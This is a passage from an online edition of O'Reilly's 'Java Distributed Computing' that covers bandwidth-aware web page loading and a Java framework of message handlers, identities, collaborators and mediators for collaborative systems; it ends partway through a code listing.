However, many client/server audio systems these days are designed to provide variable-bandwidth capabilities, so that the server can respond to the changing nature of the network connection. Typically, the server and the client engage in a bandwidth assessment period, much like the beginning of the produceAll() method in our AudioProducer. Once the expected bandwidth is known, then an encoding scheme with a given level of compression is chosen so that enough data will reach the client to allow constant playback. If the bandwidth changes significantly during the data streaming, then the client and server can renegotiate a new encoding scheme. The server alters its encoding process and begins sending compressed data in the new format; the client then alters its decoding process to handle the new format.

8.5.2. Web Browsing

One application that is often bandwidth-limited, but has very different constraints and goals from streaming audio, is viewing web pages. In this case, maintaining a constant stream of data to the final content consumer is not essential (unless the page has streaming audio incorporated). What is more important is allocating bandwidth to download page elements that are of most interest to the viewer, leaving the other elements to be downloaded later, or at a slower rate.

Let's suppose that we are asked to implement a web browser in Java. For discussion purposes, we'll ignore the initialization of the HTTP connection, and the download of the HTML code making up the requested page. We'll concentrate only on the next stage in loading a page, which is downloading all the media elements referenced in the page, such as images used for headers, icons, and figures. Our goal is to make it look like the page's images and other media elements are loading as fast as possible. In order to do that, we'll distinguish between elements of the page that the user is focusing on, and those that he isn't. If we take the whole HTML page and consider the segment that is inside the scrolling window of the user's web browser, as shown in Figure 8-2, then the focus elements are all of those media elements that lie inside of the scrolling browser window.

Figure 8-2. Focused and unfocused elements on a web page

Example 8-7 shows an HTMLPageLoader class that manages the loading of a set of HTML page elements. These page elements are given to the HTMLPageLoader in the form of URL objects created by some outside agent, such as a web browser. The HTMLPageLoader maintains three lists of elements: one (elements) contains all elements the loader has been asked to load; another (focusElements) contains elements that are within the user's current focus on the screen; and the third (loadedElements) is a list of elements that have been completely downloaded from their URL address. An external agent can add elements to the HTMLPageLoader using the addPageElements() method, and it can move elements on and off of the focus list using the focusElement() and defocusElement() methods. The loadElements() method is the workhorse of the class, responsible for downloading the content of each element in the page. The HTMLPageLoader class implements the Runnable interface so that loading the page elements can be performed in a separate thread from the agent that monitors and updates the focus list. The run() method simply calls loadElements().

Example 8-7. An HTML Page Loader

package dcj.examples.Bandwidth;

import dcj.util.Bandwidth.*;
import java.io.InputStream;
import java.lang.Runnable;

public class HTMLPageLoader implements Runnable {
  Vector elements;
  Vector focusElements;
  Vector loadedElements;
  boolean focusUpdate;
  Hashtable elementConsumers = new Hashtable;

  public void run() {
    loadElements();
  }

  public HTMLPageLoader(Vector urlList) {
    elements = urlList.clone();
  }

  public void addPageElement(URL addr) {
    elements.addElement(addr);
  }

  public void focusElement(URL addr) {
    synchronized (elements) {
      if (!elements.contains(addr)) {
        addPageElement(addr);
      }
    }

    synchronized (focusElements) {
      if (!focusElements.contains(addr)) {
        focusElements.addElement(addr);
      }
      focusUpdate = true;
    }
  }

  public defocusElement(URL addr) {
    synchronized (focusElements) {
      if (focusElements.removeElement(addr)) {
        focusUpdate = true;
      }
    }
  }

  public void loadElements() {
    Vector localFocus = null;
    boolean done = false;
    boolean changedFocus = false;
    Vector consumers;

    synchronized (focusElements) {
      if (!focusElements.isEmpty()) {
        localFocus = (Vector)focusElements.clone();
      }
    }

    synchronized (elements) {
      if (localFocus == null) {
        localFocus = elements.clone();
      }
    }

    while (!done) {
      Enumeration e = localFocus.elements();
      while (e.hasMoreElements()) {
        URL element = (URL)e.nextElement();
        ContentConsumer c = getConsumer(element);
        long byteCount = elementSize(element);
        // Consume a maximum of 5 percent of the entire element
        // in each loop.
        if (byteCount > 20) {
          byteCount = byteCount / 20;
        }
        c.consume(byteCount);
        if (isComplete(element)) {
          doneElements.addElement(element);
          focusElements.removeElement(element);
          localFocus.removeElement(element);
        }
      }

      synchronized (focusElements) {
        if (focusUpdate) {
          localFocus = focusElements.clone();
          focusUpdate = false;
          changedFocus = true;
        }
      }

      if (focusElements.isEmpty()) {
        // No focus elements left, so we're either done loading
        // the region the user is looking at, or we've finished
        // the entire page.
        if (doneElements.size() == elements.size()) {
          done = true;
        }
        else {
          localFocus = elements;
        }
      }
    }
  }

  protected Vector getConsumer(URL item) {
    ContentConsumer c;
    // If the element has a consumer already,
    // add it to the list.
    if (elementConsumers.contains(item)) {
      c = (ContentConsumer)elementConsumers.get(item);
    }
    else {
      try {
        InputStream in = item.openStream();
        StreamProducer sp = new StreamProducer(in);
        c = makeConsumerFor(item);
        c.setSource(sp);
        elementConsumers.put(item, c);
      }
      catch (Exception e) { }
    }

    return c;
  }
}

The first thing the HTMLPageLoader does in its loadElements() method is check its focus list. If there are any elements on this list, these will be loaded first. If there are no focus elements, the loader takes the entire element list and begins loading them all. After initializing its hotlist, the loadElements() method enters a loop, loading chunks of the page elements until they are completely downloaded. Within the loop, the consumer for each element is obtained by calling the getConsumer() method. In the getConsumer() method, if a given element does not have a consumer already associated with it in the hashtable, one is generated and put into the hashtable. Each of the consumers associated with hotlist elements is then asked to consume a chunk of data for its element. If any of the elements are complete, the element is added to the "done" list. A check is made to see if the focus list has changed. If it has, the hotlist of elements is set to the current focus elements. If the list of focus elements is empty, we've either loaded all of the focus elements and can move on to the other page elements, or the page is completely loaded. If there are still unloaded elements, the hotlist is set to these elements. If not, the done flag is set to true, causing the loadElements() method to return.

The HTMLPageLoader class may be used in practice by a web browser as a separate I/O thread, running in parallel with a user interface thread that is redisplaying the page as the user scrolls up and down. The HMTLPageLoader thread is created once the URL elements of the page to be loaded have been determined:

Vector urls = ...
HTMLPageLoader loader = new HTMLPageLoader(urls);
Thread loaderThread = new Thread(loader);
loaderThread.start();

We could also initialize the list of focus elements before starting the loader thread. The page display component of the user interface can then have a MouseMotionListener attached to it, which listens for mouse motion events. This listener could implement its mouseDragged() method along these lines:

public void mouseDragged(MouseEvent e) {
    HTMLPageLoader loader = getLoader();
    Rectangle focusArea =
        getFocusArea(e.getX(), e.getY(), e.getComponent());
    Vector urlList = getFocusItems(focusArea);
    loader.defocusElements();
    Enumeration e = urlList.elements();
    while (e.hasMoreElements()) {
        loader.focusElement((URL)e.nextElement());
    }
}

This will cause the HTMLPageLoader to allocate the input bandwidth to the focus elements chosen by the user.

In this bandwidth-limited distributed application, we're not so much concerned with actual throughput rates, but rather with the relative amount of bandwidth allocated to different input streams in order to optimize the user's experience.

Previous | Home | Next
8.4. Monitoring Bandwidth | Book Index | 9. Collaborative Systems
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Collaborative Systems (Java Distributed Computing)

 Java Distributed Computing Search this book

Chapter 9. Collaborative Systems

Contents:

What Is a Collaborative System?
Issues with Collaboration
A Basic Collaborative Infrastructure

In this chapter we'll examine the implementation of collaborative systems, a topic that will fuse most of the subjects we discussed earlier in the book. First we'll define what we mean by collaborative systems, and discuss what complications can arise while implementing these systems. Then we'll look at how these issues can be addressed in the Java environment by building a set of base classes that will act as a basic collaboration framework. In the next chapter, we'll present some complete collaborative systems.

9.1. What Is a Collaborative System?

A collaborative system is one where multiple users or agents engage in a shared activity, usually from remote locations. In the larger family of distributed applications, collaborative systems are distinguished by the fact that the agents in the system are working together towards a common goal and have a critical need to interact closely with each other: sharing information, exchanging requests with each other, and checking in with each other on their status. In this chapter, we'll consider a collaborative system as one that is also distinguished by a certain level of concurrency; i.e., the agents in the system are interacting with the system and with each other at roughly the same time. So a chat session is collaborative, because all of the agents involved need to coordinate with each other to be sure that the chatters don't miss anyone else's comments. An email system isn't collaborative, because each email client simply wants to be sure that its messages get to the right server, and eventually to the intended recipient. A particular email client doesn't care about the state of any other client, and doesn't need to coordinate with any of them in order to accomplish its goal.

Figure 9-1 depicts some of the elements that can go into a collaborative system:

  • Autonomous or user-driven agents

  • Operational and data servers

  • Dynamic and persistent data repositories

  • Transactions between agents, servers, and data

Agents, servers, data repositories, and transactions are all elements that make up distributed systems in general, but the nature of the transactions between agents and the shared goals of the agents make a system collaborative.

Figure 9-1. Collaborative systems structure

Here are some examples of what we refer to as collaborative systems:

  • Shared whiteboards

  • Interactive chat

  • Distributed or parallel compute engines

  • Coordinated data search agents (e.g., web "robots")

The first two involve collaborative agents under the direct control of human beings, while the last two involve agents that are programmed to act autonomously. So a collaborative system can involve concurrent transactions between people, between autonomous computing agents,[1] or some mixture of the two.

[1]Here our use of the word "agent" is much closer to the academic term, e.g., an autonomous computing entity trying to achieve a goal of some kind.

Previous | Home | Next
8.5. Bandwidth Management | Book Index | 9.2. Issues with Collaboration
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Issues with Collaboration (Java Distributed Computing)

 Java Distributed Computing Search this book

9.2. Issues with Collaboration

For the most part, the issues that come up with collaborative systems are similar to those that arise in other concurrent programming tasks. In the context of collaborative systems, some of these issues take on even more importance; and, of course, collaboration raises a few issues of it own. In this section, we'll look briefly at four of the most important issues: communication needs, identity management, shared state information, and performance.

9.2.1. Communication Needs

A collaborative system has multiple remote agents collaborating dynamically, so it must be flexible in its ability to route transactions. Depending on the application, the underlying communications might need to support point-to-point messages between agents, broadcast messages sent to the entire agent community, or "narrowcast" messages sent to specific groups of participating agents. An interactive chat server that supports chat rooms is a good example of this. Messages are normally broadcast to the entire group, but if an individual is in a single chat room, then her messages should only be sent to the other participants in that room. In some cases, you may need to support private, one-on-one messaging between agents or users in the system (e.g., for private discussions).

In addition to simple message-like communications, there may be a need for agents to have a richer interface to other agents. Agents may need to pass object data to each other, and remote agents may need to interact directly with each other through distributed object interfaces.

9.2.2. Maintaining Agent Identities

If multiple agents are engaged in a collaboration, there has to be some way to uniquely identify them so that messages can be addressed and delivered, tasks can be assigned, etc. Also, if access to the system or to certain resources associated with the system needs to be restricted, then participant identities will need to be authenticated as well. Depending on the application, there may also be data or other resources associated with individual agents. This information must be maintained along with agent identities, and in some cases access to these resources must be controlled based on identities.

A practical example of this issue is a shared whiteboard application. A shared whiteboard is a virtual drawing space that multiple remote users can view and "write" on in order to share information, ideas, etc.--the digital equivalent of a group of people working around a real whiteboard in a meeting room. In order for the individuals using the whiteboard to understand what is being contributed by whom, the whiteboard system has to keep some kind of identity information for each participant. Each participant's contributions to the whiteboard (e.g., written information, graphics, etc.) must be shown with a visual indication of who is responsible for it (e.g., color, shading, etc.). It may also be desirable to allow each individual the right to modify or delete only his contributions to the whiteboard, which means adding access control based on identities.

9.2.3. Shared State Information

In many collaborative systems some data and resources are shared among participants. Shared data is common to most distributed systems, but is particularly important in collaborative systems. A cooperative effort among computing agents is usually expressed in terms of a set of data that needs to be shared by all agents in the system. In our shared whiteboard example, the current contents of the whiteboard are shared among all agents. With multiple agents accessing and potentially modifying this shared state information, maintaining the integrity of the information will be an important issue. If two or more agents attempt to alter the same piece of shared state information, then there has to be a reasonable and consistent way to determine how to merge these requests, and how to make it known to the affected agents what's been done with their transactions.

9.2.4. Performance

Some collaborative systems have to make a trade-off between keeping shared state consistent across all the agents and maximizing the overall performance. There are situations, such as in shared whiteboard applications, where it's important that all of the agents in the system have their view of the shared state of the system kept up-to-date as closely as possible. The simplest way to do this is to have a central mediator acting as a clearinghouse for agent events. The mediator gets notified whenever an agent does something that changes the shared state of the system, and the mediator is responsible for sending these state updates to all of the agents in the system. This also makes it simple to ensure that updates are sequenced correctly across all agents, if that's important to the application.

The problem is that the central mediator can become a bottleneck as the size of the system scales up. If there are lots of agents to be notified or lots of changes that agents have to be notified about, then the mediator may have trouble keeping up with the traffic and the agents in the system will waste a lot of time waiting for updates. Another approach would be not to use a mediator at all, and instead have a peer-to-peer system where each agent broadcasts its updates to all the other agents. While this may improve the throughput of updates, it makes it difficult to maintain consistency across the system. With each update being broadcast independently and asynchronously, it can be quite a feat to make sure that each agent ends up with the same state after all the updates have been sent, especially if the order of the updates is important.

Previous | Home | Next
9.1. What Is a Collaborative System? | Book Index | 9.3. A Basic Collaborative Infrastructure
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


A Basic Collaborative Infrastructure (Java Distributed Computing)

 Java Distributed Computing Search this book

9.3. A Basic Collaborative Infrastructure

Before we explore some collaborative applications, let's take a look at a basic collaborative infrastructure implemented using some of the concepts presented earlier in this book. We'll build on this infrastructure to illustrate the development of various types of collaborative systems. The framework that we'll build involves a single mediator (the server) handling interactions among multiple collaborators (clients). Each collaborator has a unique identity, issued by the mediator, and each collaborator can either broadcast messages to all of the collaborators registered with the mediator, or it can send a message to a single collaborator.

One of the first steps in developing a collaborative system is deciding what kind of communications scheme is right for you. We've discussed several ways to connect remote agents, including basic socket communications, message passing, RMI remote objects, and CORBA remote objects. To illustrate our basic collaborative system, we'll show a version based on RMI and remote objects, and another version based on basic message passing. We'll start with the message-passing version, since this will let us look in detail at some of the dynamics of a distributed system involving many agents working together simultaneously. Then we'll look at ways to implement the same collaborative infrastructure using remote objects, where the object distribution system assumes responsibility for some of the issues we'll see in our message-passing version. For those readers only interested in the remote-object version, you can skip ahead to the section Section 9.3.2, "Collaborating with RMI".

9.3.1. Building the Infrastructure with Message Passing

To build a collaborative message-passing system, we'll start by expanding our message-passing classes from Chapter 6, "Message-Passing Systems" to handle multiple agents passing messages through a single MessageHandler. In that chapter, the final version of our message-passing framework (see Example 9-10 and Example 9-11) used MessageHandlers passing Messages to each other. Each Message object has an identifier and a set of arguments. Each MessageHandler runs in a loop, reading messages from the network, constructing Message objects from the data received, and calling the Message's Do() method to handle the message locally. The MessageHandler reconstructs the Message from the incoming network data using a list of prototype Message objects. The identifier for the message is used to pick the right Message prototype, a copy of this Message is made, and the new copy is told to read its arguments from the input data stream. The set of Message prototypes serves to define the message protocol that the MessageHandler understands, and can be updated on the fly if needed.

If we look back at Figure 9-1 and assume that the general collaborative system depicted there is implemented using message passing, we'll see that a server or an agent in a collaborative environment may have to send or receive messages from multiple remote agents. Our MessageHandler class from Example 9-10 only supports point-to-point message passing, so if we wanted to use it for a collaborative system we would either need to create a MessageHandler object for each agent we want to talk to, or we could upgrade the MessageHandler to manage multiple network connections to agents. In some applications, we may have tens, hundreds, or even thousands of agents collaborating with each other, so creating an entire MessageHandler object for each (in addition to a socket connection and its input and output streams) may be too inefficient. Also, in many collaborative applications we need to use the same message protocol with every agent in the system, so forcing ourselves to replicate the same "flavor" of Message-Handler many times over doesn't seem to make sense.

Example 9-1 shows our updated MessageHandler class, with support for multiple agent connections. Two utility classes have been added to help manage agent connections. The AgentConnection class simply holds a pair of input and output streams connected to a remote agent. The AgentHandler class takes care of listening to a particular agent for asynchronous messages. We'll see exactly how the AgentHandler is used as we look at the rest of the updated MessageHandler class.

Example 9-1. Multi-Agent Message Handler Class

package dcj.util.Collaborative;

import java.util.Vector;
import java.util.Hashtable;
import java.util.Enumeration;
import java.net.SocketException;
import java.io.*;

class PeerConnection {
  public PeerConnection(InputStream i, OutputStream o) {
    in = i;
    out = o;
  }
  public InputStream in;
  public OutputStream out;
}

class PeerHandler implements Runnable {
  int peerId;
  MessageHandler handler;
  public PeerHandler(int id, MessageHandler h) {
    peerId = id;
    handler = h;
  }

  public void run() {
    System.out.println("ph: Starting peer handler for peer " + peerId);
    while (true) {
      try {
        Message m = handler.readMsg(peerId);
        System.out.println("ph: Got a message from peer " + peerId);
        m.Do(null, null);
      }
      catch (IOException e) {}
    }
  }
}

public class MessageHandler implements Runnable
{
  // A global MessageHandler, for applications where one central
  // handler is used.
  public static MessageHandler current = null;

  Hashtable connections = new Hashtable();
  Hashtable handlers = new Hashtable();
  Vector msgPrototypes = new Vector();

  public MessageHandler() {}
  public MessageHandler(InputStream in, OutputStream out) {
    addPeer(0, in, out);
  }

  synchronized public int nextPeerId() {
    return connections.size();
  }

  synchronized public Vector getPeerIds() {
    Vector ids = new Vector();
    Enumeration e = connections.keys();
    while (e.hasMoreElements()) {
      ids.addElement((Integer)e.nextElement());
    }
    return ids;
  }

  synchronized public int addPeer(InputStream i, OutputStream o) {
    int nextId = nextPeerId();
    addPeer(nextId, i, o);
    return nextId;
  }

  synchronized public void addPeer(int id, InputStream i, OutputStream o) {
    connections.put(new Integer(id), new PeerConnection(i, o));
    PeerHandler ph = new PeerHandler(id, this);
    Thread phThread = new Thread(ph);
    phThread.start();
    handlers.put(new Integer(id), phThread);
  }

  synchronized public boolean removePeer(int id) {
    boolean success = false;
    Thread hthread = (Thread)handlers.remove(new Integer(id));
    if (hthread != null && connections.remove(new Integer(id)) != null) {
      hthread.stop();
      success = true;
    }

    return success;
  }

  synchronized protected PeerConnection getPeer(int id) {
    return (PeerConnection)connections.get(new Integer(id));
  }

  public void addMessageType(Message prototype) {
    msgPrototypes.addElement(prototype);
  }

  public Message readMsg(int id) throws IOException {
    Message msg = null;

    PeerConnection conn = getPeer(id);
    if (conn != null) {
      try {
        synchronized (conn.in) {
          DataInputStream din = new DataInputStream(conn.in);
          String msgId = din.readUTF();
          System.out.println("mh: Got message id " + msgId);
          msg = buildMessage(msgId);
          if (msg != null) {
            msg.readArgs(conn.in);
          }
          System.out.println("mh: Received complete message" + msg + ".");
        }
      }
      catch (SocketException s) {
        System.out.println("mm: Lost connection to peer " + id);
        removePeer(id);
        msg = null;
      }
      catch (Exception e) {
        msg = null;
      }
    }

    return msg;
  }

  // Send a message to a specific agent.
  public boolean sendMsg(Message msg, int id) throws IOException {
    boolean success = false;
    PeerConnection conn = getPeer(id);
    if (conn != null) {
      System.out.println("mh: Trying to lock on peer " + id);
      try {
        synchronized (conn.out) {
          System.out.println("mh: Got lock on peer " + id);
          DataOutputStream dout = new DataOutputStream(conn.out);
          System.out.println("mh: Printing message id...");
          dout.writeUTF(msg.messageID());
          System.out.println("mh: Printing message args...");
          msg.writeArgs(conn.out);
          success = true;
        }
      }
      catch (SocketException s) {
        System.out.println("mh: Lost connection to peer " + id);
        removePeer(id);
        success = false;
      }
      catch (Exception e) {
        success = false;
      }
    }
    return success;
  }

  // Broadcast a message to all connected agents.
  public boolean sendMsg(Message msg) throws IOException {
    Enumeration ids = connections.keys();
    boolean success = true;
    while (ids.hasMoreElements()) {
      Integer id = (Integer)ids.nextElement();
      System.out.println("mh: Attempting send to peer " + id.intValue());
      if (!sendMsg(msg, id.intValue()))
        success = false;
      else
        System.out.println("mh: Sent message to peer " + id.intValue());
    }
    return success;
  }

  // Default run() method does nothing...
  public void run() {}

  protected Message buildMessage(String msgId) {
    Message msg = null;
    int numMTypes = msgPrototypes.size();
    for (int i = 0; i < numMTypes; i++) {
      Message m = null;
      synchronized (msgPrototypes) {
        m = (Message)msgPrototypes.elementAt(i);
      }
      if (m.handles(msgId)) {
        msg = m.newCopy();
        msg.setId(msgId);
        break;
      }
    }
    return msg;
  }
}

The updated MessageHandler maintains a table of agent connections, associating each connection with an ID number. A set of methods for adding, removing, and getting agent connections has been added to the Message-Handler interface. Two addAgent() methods are provided: the first takes the InputStream and OutputStream connections to the agent as arguments, and assigns the next available ID to the new agent connection; the second additionally accepts an ID number that the caller wants assigned to the agent. The removeAgent() method removes the agent with a given ID number. The getAgent() method is protected, and is used internally by the Message-Handler class to get the AgentConnection associated with a particular agent.

We've also updated the MessageHandler class by changing its readMsg() and sendMsg() methods so that we can specify which agent to talk to. The readMsg() method now accepts the ID number of the agent from which to read a message. There are now two versions of the sendMsg() method. One accepts an ID number, and sends the given message to that agent. The other version just takes a Message as an argument, and broadcasts the message to all agents the MessageHandler is connected to.

When a new agent is added to the MessageHandler using one of the addAgent() methods, an AgentConnection is made to hold the InputStream and OutputStream connected to the agent, and the connection is stored in a Hashtable using the agent's ID number as the key. Next, an AgentHandler is created and given the ID number of the new agent, along with a reference to the MessageHandler. Then a new thread is created for the AgentHandler, and the new thread is started. The AgentHandler implements the Runnable interface, and its run() method is a loop that continuously attempts to read messages from its agent, using the readMsg() method on the MessageHandler:

  public void run() {
    System.out.println("ph: Starting peer handler for peer " + peerId);
    while (true) {
      try {
        Message m = handler.readMsg(peerId);
        m.Do();
      }
      catch (IOException e) {}
    }
  }

So this new and improved MessageHandler manages multiple connections by creating a thread for each agent that can asynchronously read messages and act on them. New agents can be added to the handler at any time. To support these asynchronous operations, the MessageHandler implementation has been synchronized in a number of places. The readMsg() and sendMsg() methods synchronize on the input and output streams of each agent, for example. All of the methods for adding and removing agents from the MessageHandler are also synchronized to allow asynchronous agent handling.

Now that we have a MessageHandler that can support message passing in a collaborative environment, let's build our collaborative infrastructure on top of it. We can think of collaborative systems as being composed of collaborators and mediators. Collaborators are the agents that work together towards the common goal of the system, and mediators serve to facilitate the communications among the collaborators. Referring back to Figure 9-1, collaborators are the agents in the system, and mediators are the servers.

Before we delve into details, one of the primary needs of collaborative systems is the need to provide an identity for each agent in the system, so that transactions can be targeted and traced to individual agents. To support this, we have the Identity class shown in Example 9-2. This class consists of a Properties list, with methods for getting and setting a name property, which is a String, and an id property, which is an integer. These two properties will be used to identify each collaborator in the system. The name property is a descriptive name that can be used to specify each collaborator in a user interface, for example. The integer id is an internal identifier used to tag each collaborator uniquely.

Example 9-2. An Identity Class

package dcj.util.Collaborative;

import java.util.Hashtable;
import java.io.Serializable;

public class Identity implements Serializable {
  Hashtable props = new Hashtable();

  public Identity(int id) { props.put("idnum", new Integer(id)); }

  public boolean equals(Object o) {
    boolean same = false;
    if (o != null && o.getClass() == this.getClass()) {
      Identity oi = (Identity)o;
      if (oi == this ||
           (oi.getId() == this.getId() &&
             ((oi.getName() == null && this.getName() == null) ||
              (oi.getName() != null && this.getName() != null &&
               oi.getName().compareTo(this.getName()) == 0)))) {
        same = true;
      }
    }
    return same;
  }

  public int    getId() {
    Integer idNum = (Integer)props.get("idnum");
    return idNum.intValue();
  }

  public String getName() { return (String)props.get("name"); }
  public void   setName(String n) { props.put("name", n); }

  public Object getProperty(Object key) {
    return props.get(key);
  }
  public void   setProperty(Object key, Object val) {
    props.put(key, val);
  }
}

Additional properties can be added to the property lists of the collaborators to further define the identity of an agent in a system, or to hold state information related to the collaborative application. We've made the Identity class implement the Serializable interface, so that Identity objects can be passed back and forth between agents on the network to tag destination and source agents for transactions. This will come in handy whether your system uses message passing with ObjectInputStreams and ObjectOutputStreams, or RMI with Identity object arguments to remote methods. Since this class is meant to be serializable, however, any object added to the Identity as a property value or key, using the setProperty() method, also needs to be serializable; all objects that the Identity object references at the time that it is serialized and sent over the network will also be serialized and transmitted.

A collaborator has some pretty basic functional requirements. It needs to have a unique identifier in the system, so that messages can be routed to it. It needs to be able to connect to mediators, or to other collaborators, to engage in communication with them. Finally, it needs to be able to send messages and to be notified of incoming messages. Example 9-3 shows a Collaborator interface that includes these abilities.

Example 9-3. A Collaborator Interface

package dcj.util.Collaborative;

import java.util.Properties;
import java.io.IOException;
import java.rmi.RemoteException;

public interface Collaborator {
  public Identity getIdentity();

  // Connect to a mediator - subclasses dictate properties needed
  public boolean connect(Properties p);

  // Outgoing messages/data
  public boolean send(String tag, String msg, Identity dst)
                 throws IOException;
  public boolean send(String tag, Object data, Identity dst)
                 throws IOException;
  public boolean broadcast(String tag, String msg)
                 throws IOException;
  public boolean broadcast(String tag, Object data)
                 throws IOException;

  // Incoming messages/data
  public boolean notify(String tag, String msg, Identity src)
                 throws IOException;
  public boolean notify(String tag, Object data, Identity src)
                 throws IOException;
}

The getIdentity() method returns an Identity for the Collaborator. This Identity may be given to the Collaborator when it connects to a mediator. The connect() method opens a connection to a remote collaborator or mediator. The values in the Properties argument to connect() specify how to locate the agent on the network. Some collaborators may only require a hostname and port number, others may need more information, like a registered name for the agent on an RMI server.

The Collaborator interface supports sending messages with its send() and broadcast() methods. These methods accept a message in the form of a tag or label string, which says what kind of message it is for the receiver, and the message itself, which is either a String or a generic Object. The send() methods also accept an Identity object, which specifies whom to send the message to. So a Collaborator sends a message to individual agents on the network using the send() methods, and it broadcasts messages to all of the agents using the broadcast() methods.

A Collaborator receives messages through its notify() methods. There are versions of notify() that accept a String or an Object as the body of the message. The notify() methods also have an Identity argument that specifies who sent the message. If the sender is unknown, the Identity argument will be null. When it is notified of the message, the Collaborator can react as needed, by adding the data in the message to a database, updating its display, or responding to the sender of the message.

A mediator has an equally simple set of tasks. It needs to be able to register new collaborators by providing them with unique identifiers, send messages to individual collaborators, and broadcast messages to all collaborators that it has registered. Example 9-4 shows a Mediator interface that supports these things. The newMember() method generates a unique identifier for a new collaborator. The removeMember() method removes the given collaborator from the Mediator's registry. The send() and broadcast() methods are analogous to the same methods on the Collaborator interface. Messages can be sent to individual agents using the send() methods, and they can be broadcast to all agents using the broadcast() methods.

Example 9-4. A Mediator Interface

package dcj.util.Collaborative;

import java.util.Vector;
import java.io.IOException;

public interface Mediator {
  public Identity newMember();
  public boolean  removeMember(Identity i);
  public Vector   getMembers();

  public boolean send(Identity to, Identity from, String mtag, String msg)
                 throws IOException;
  public boolean broadcast(Identity from, String mtag, String msg)
                 throws IOException;
  public boolean send(Identity to, Identity from, String mtag, Object data)
                 throws IOException;
  public boolean broadcast(Identity from, String mtag, Object data)
                 throws IOException;
}

We've been careful in designing the Collaborator and Mediator interfaces to allow for implementing these interfaces using whatever communications scheme the application developer chooses. Although the methods on the interfaces seem to suggest a message-passing scheme, the data in these "messages" could be passed using remote methods on RMI objects, or on CORBA implementations of the Collaborator and Mediator classes.

With our updated, multi-agent MessageHandler class in hand, implementing message-passing versions of the Collaborator and Mediator interfaces is a pretty simple matter. The MessageMediator class shown in Example 9-5 is an implementation of the Mediator interface that uses a MessageHandler to route messages back and forth between remote agents. The MessageMediator has a MessageHandler to route messages, a ServerSocket to accept socket connections from remote agents, and a port number that it listens to for connections. It also implements the Runnable interface so that it can sit in its own thread, listening for asynchronous connections from agents. This is the primary function of its run() method, where it creates the ServerSocket listening to its designated port, then loops continuously trying to accept connections over the socket. When a new connection is made, a new agent is added to the handler by calling its addAgent() method with the input and output streams from the Socket that is created to the agent. The Mediator creates a unique Identity for the agent by calling the newMember() method, which creates a new Identity and sets its ID number to the next available integer. Then a message is sent to the agent containing its Identity, so that it can identify itself in future messages.

Example 9-5. A Mediator Based on Message Passing

package dcj.util.Collaborative;

import java.lang.Runnable;
import java.util.Vector;
import java.util.Enumeration;
import java.net.ServerSocket;
import java.net.Socket;
import java.io.IOException;

public class MessageMediator implements Mediator, Runnable {
  MessageHandler mhandler = new MessageHandler();
  ServerSocket socket = null;
  int port = 5009;

  public MessageMediator(int p) {
    initHandler();
    port = p;
  }

  public MessageMediator() {
    initHandler();
  }

  protected void initHandler() {
    // Add the mediator message "prototype" to the handler
    Message m = new MediatorMessage(this);
    mhandler.addMessageType(m);
  }

  public void run() {
    // Make the server socket
    try {
      socket = new ServerSocket(port);
    }
    catch (IOException e) {
      System.out.println("Failed to bind to port " + port);
      return;
    }

    System.out.println("Mediator running on port " + port);

    // Listen for new clients...
    while (true) {
      try {
        Socket clientConn = socket.accept();
        Identity i = newMember();
        mhandler.addAgent(i.getId(), clientConn.getInputStream(),
                          clientConn.getOutputStream());
        System.out.println("Got new connection...");
        Message imsg = new Message("identity");
        imsg.addArg(i);
        mhandler.sendMsg(imsg, i.getId());
      }
      catch (Exception e) {}
    }
  }

  public Identity newMember() {
    int id = mhandler.nextAgentId();
    Identity i = new Identity(id);
    return i;
  }

  public boolean remove(Identity i) {
    int id = i.getId();
    boolean success = mhandler.removeAgent(id);
    return success;
  }

  public Vector getMembers() {
    Vector members = new Vector();
    Vector ids = mhandler.getAgentIds();
    Enumeration e = ids.elements();
    while (e.hasMoreElements()) {
      Integer id = (Integer)e.nextElement();
      Identity i = new Identity(id.intValue());
      members.addElement(i);
    }
    return members;
  }

  public boolean send(Identity to, Identity from, String mtag, String s)
                 throws IOException {
    boolean success = false;
    Message msg = new Message(mtag);
    msg.addArg(from);
    msg.addArg(s);
    return mhandler.sendMsg(msg, to.getId());
  }

  public boolean broadcast(Identity from, String mtag, String s)
                 throws IOException {
    System.out.println("mm: Broadcasting message \"" + mtag + s + "\"");
    Message msg = new Message(mtag);
    msg.addArg(from);
    msg.addArg(s);
    return mhandler.sendMsg(msg);
  }

  public boolean send(Identity to, Identity from, String mtag, Object o)
                 throws IOException {
    Message msg = new Message(mtag);
    msg.addArg(from);
    msg.addArg(o);
    return mhandler.sendMsg(msg, to.getId());
  }

  public boolean broadcast(Identity from, String mtag, Object o)
                 throws IOException {
    Message msg = new Message(mtag);
    msg.addArg(from);
    msg.addArg(o);
    return mhandler.sendMsg(msg);
  }
}

The MessageMediator initializes its MessageHandler in each of its constructors by calling the protected initHandler() method. This method adds a MediatorMessage to the handler's list of "prototype" messages. The MediatorMessage, shown in Example 9-6, keeps a reference to a Mediator, and its Do() method handles messages by checking the type of message and calling the appropriate method on its Mediator. This is the only message prototype added to the MessageHandler, and its handles() method always returns true, so all messages received by the MessageHandler will be handled by this message. If the message has a type of "send," then the next four arguments are assumed to be: an Identity object specifying the source of the message, another for the destination of the message, a String message tag, and a String or Object message body. These four arguments are passed into a call to the Mediator's send() method. If a message with a type of "broadcast" is received, then only three arguments are expected: the Identity of the sender, a String message tag, and a String or Object message body. These three arguments are passed into the Mediator's broadcast() method.

Example 9-6. A Mediator Message

package dcj.util.Collaborative;

import java.io.*;
import java.util.Vector;

public class MediatorMessage extends Message
{
  protected Mediator mediator = null;

  public MediatorMessage(Mediator m) {
    mediator = m;
  }

  public MediatorMessage(String mid) {
    super(mid);
  }

  public boolean Do()
  {
    boolean success = false;

    try {
      String mtype = messageID();
      if (mtype.compareTo("send") == 0) {
        Identity from = (Identity)getArg(0);
        Identity to = (Identity)getArg(1);
        String tag = (String)getArg(2);
        try {
          String s = (String)getArg(3);
          mediator.send(to, from, tag, s);
          success = true;
        }
        catch (ClassCastException cce) {
          // Argument wasn't a String, so send it as an Object
          Object oarg = getArg(3);
          mediator.send(to, from, tag, oarg);
          success = true;
        }
      }
      else if (mtype.compareTo("broadcast") == 0) {
        System.out.println("mm: Got broadcast message.");
        Identity from = (Identity)getArg(0);
        String tag = (String)getArg(1);
        System.out.println("mm: tag = \"" + tag + "\"");
        try {
          String s = (String)getArg(2);
          mediator.broadcast(from, tag, s);
          success = true;
        }
        catch (ClassCastException cce) {
